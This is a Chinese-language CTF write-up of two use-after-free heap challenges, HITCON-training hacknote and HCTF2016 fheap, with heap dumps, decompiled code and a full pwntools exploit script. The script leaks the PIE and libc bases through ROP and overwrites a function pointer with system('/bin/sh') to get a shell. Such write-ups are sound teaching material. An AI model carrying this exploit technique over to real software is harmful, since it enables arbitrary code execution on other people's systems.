两个UAF

HITCON-training-lab 10 hacknote

本题为最简单的UAF利用

add note0,note1后chunk使用情况

 

0x80b4000 FASTBIN {    //note0
  prev_size = 0, 
  size = 17, 
  fd = 0x804865b ,     //put
  bk = 0x80b4018,      //content
  fd_nextsize = 0x0, 
  bk_nextsize = 0x19
}
0x80b4010 FASTBIN {     //note0.content_chunk
  prev_size = 0, 
  size = 25, 
  fd = 0x61616161, 
  bk = 0xa, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x80b4028 FASTBIN {     //note1
  prev_size = 0, 
  size = 17, 
  fd = 0x804865b , 
  bk = 0x80b4040,       //content
  fd_nextsize = 0x0, 
  bk_nextsize = 0x19
}
0x80b4038 FASTBIN {     //note1.content_chunk
  prev_size = 0, 
  size = 25, 
  fd = 0x62626262, 
  bk = 0xa, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}

del_note(0),del_node(1)后,fastbin情况如下

16bytes_chunk:note1_chunk->note0_chunk

24bytes_chunk:note1.content_chunk->note0.content_chunk

这时,当我们创建一个note2,且它的content大小为8则,note2实际上被分配到note1_chunk,note2.content实际上被分配到note0_chunk,而note2.content在创建时是可以自定义的,即我们通过note2就可以控制note0的整个结构体,而由于free之后没有置空,即存在UAF漏洞,所以note0依旧可以被使用,此时我们将magic函数覆盖到note0.put处,即可获取flag

 

HCTF2016-fheap

程序分析

create

 

unsigned __int64 add_str()
{
  signed int i; // [rsp+4h] [rbp-102Ch]
  struc_1 *str_struc; // [rsp+8h] [rbp-1028h]
  char *string; // [rsp+10h] [rbp-1020h]
  size_t size; // [rsp+18h] [rbp-1018h]
  size_t length; // [rsp+18h] [rbp-1018h]
  char str[4096]; // [rsp+20h] [rbp-1010h]
  unsigned __int64 v7; // [rsp+1028h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  str_struc = (struc_1 *)malloc(0x20uLL);
  printf("Pls give string size:");
  size = input_num();
  if ( size <= 0x1000 )
  {
    printf("str:");
    if ( read(0, str, size) == -1 )
    {
      puts("got elf!!");
      exit(1);
    }
    length = strlen(str);
    if ( length > 0xF )
    {
      string = (char *)malloc(length);
      if ( !string )
      {
        puts("malloc faild!");
        exit(1);
      }
      strncpy(string, str, length);
      str_struc->string = string;
      str_struc->delete = delete_all;
    }
    else
    {
      strncpy((char *)str_struc, str, length);
      str_struc->delete = delete_struc;
    }
    str_struc->size = length;
    for ( i = 0; i <= 15; ++i )
    {
      if ( !LODWORD(string_list[i].flag) )
      {
        LODWORD(string_list[i].flag) = 1;
        string_list[i].str_struc = str_struc;
        printf("The string id is %d\n", (unsigned int)i);
        break;
      }
    }
    if ( i == 16 )
    {
      puts("The string list is full");
      ((void (__fastcall *)(struc_1 *))str_struc->delete)(str_struc);
    }
  }
  else
  {
    puts("Invalid size");
    free(str_struc);
  }
  return __readfsqword(0x28u) ^ v7;
}

根据该函数可以分析出结构体:

 

00000000 struc_1         struc ; (sizeof=0x20, mappedto_6)
00000000 string          dq ?                    ; offset
00000008 field_8         dd ?
0000000C field_C         dd ?
00000010 size            dq ?
00000018 delete          dq ?                    ; offset
00000020 struc_1         ends

每次为结构体分配0x20字节空间。然后设置字符串大小,若字符串长度小于16,则字符串直接放到结构体前24字节,若字符串长度大于16,则重新申请空间并将指针放到结构体前8字节,最后8字节为一个delete函数,用于释放结构体本身及其字符串。

每次申请了一个新的结构体后,将其放入一个全局数组中,该数组的元素结构如下

 

00000000 str             struc ; (sizeof=0x10, mappedto_7)
00000000 flag            dq ?
00000008 str_struc       dq ?                    ; offset
00000010 str             ends

flag表示该struc是否存在,之后便是该结构体的指针

 

利用思路

1.利用UAF漏洞泄漏程序基地址

由于程序开启了PIE,所以需要泄漏其基地址才能进一步的利用。

要泄漏基地址,我们可以构造struc{'a'*24, puts},然后delete这个结构就能获得调用puts函数的地址

首先申请两个结构体然后free后,fastbin如下

struc0->struc1

之后我们申请一个struc2,然后str长度为32,则struc2实际为struc0,str实际为struc1

这里需要注意的是,当我们delete一个结构后,在全局数组中该结构对应的flag变为0,之后申请的结构指针就可覆盖这个指针,所以全局数组的0位置一定是会被新申请的结构覆盖的,所以应该构造struc0->struc1这样的fastbin

2.泄漏libc基地址

利用该UAF漏洞,我们本质上可以完成任意地址执行,在delete函数中,有一个buf缓冲区,我们可以将rop写入该缓冲区,然后pop ret跳到缓冲区执行rop,rop中我们打印puts的实际地址,然后跳转回主函数

3.基地址都已经找到,所以将system函数地址覆盖到struc->delete位置即可,注意/bin/sh用';'结尾

完整脚本:

 

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

p = process('./pwn-f')

def menu():
    p.recvuntil('3.quit\n')

def add(size, string):
    p.sendline('create ')
    p.recvuntil('size:')
    p.sendline(str(size))
    p.send(string)

def delete(idx):
    p.sendline('delete ')
    p.recvuntil('id:')
    p.sendline(str(idx))
    p.recvuntil('sure?:')
    p.sendline('yes')

menu()
#leak elf base
add(8, '0')
add(8, '1')
#gdb.attach(p)
delete(1)
delete(0)
add(32, 'a'*24+'\x2d')
delete(1)
p.recvuntil('a'*24)
puts_addr = u64(p.recv(6).ljust(8, '\x00'))
elf_base = puts_addr - 0xd2d
print 'elf base:' + hex(elf_base)
delete(0)

#leak libc
add(32, 'a'*24+p64(elf_base+0x11dc))
#gdb.attach(p)
pop_rdi = 0x11e3 + elf_base
pop_rsi_r15 = 0x11e1 + elf_base
puts_got = 0x202030 + elf_base
puts_plt = 0x990 + elf_base
rop = flat([
    pop_rdi,
    puts_got,
    puts_plt,
    elf_base + 0xc71,
    ])
menu()
p.sendline('delete ')
p.recvuntil('id:')
p.sendline('1')
p.recvuntil('sure?:')
p.send('yes'.ljust(8, 'a') + rop)
puts_addr = u64(p.recv(6).ljust(8, '\x00'))
libc_base = puts_addr - libc.sym['puts']
system_addr = libc_base + libc.sym['system']
print 'libc base:' + hex(libc_base)
print 'system:' + hex(system_addr)
menu()
delete(0)

#getshell
#gdb.attach(p)
add(32, '/bin/sh;'.ljust(24, 'a')+p64(system_addr))
delete(1)

p.interactive()

 

你可能感兴趣的:(CTF,pwn)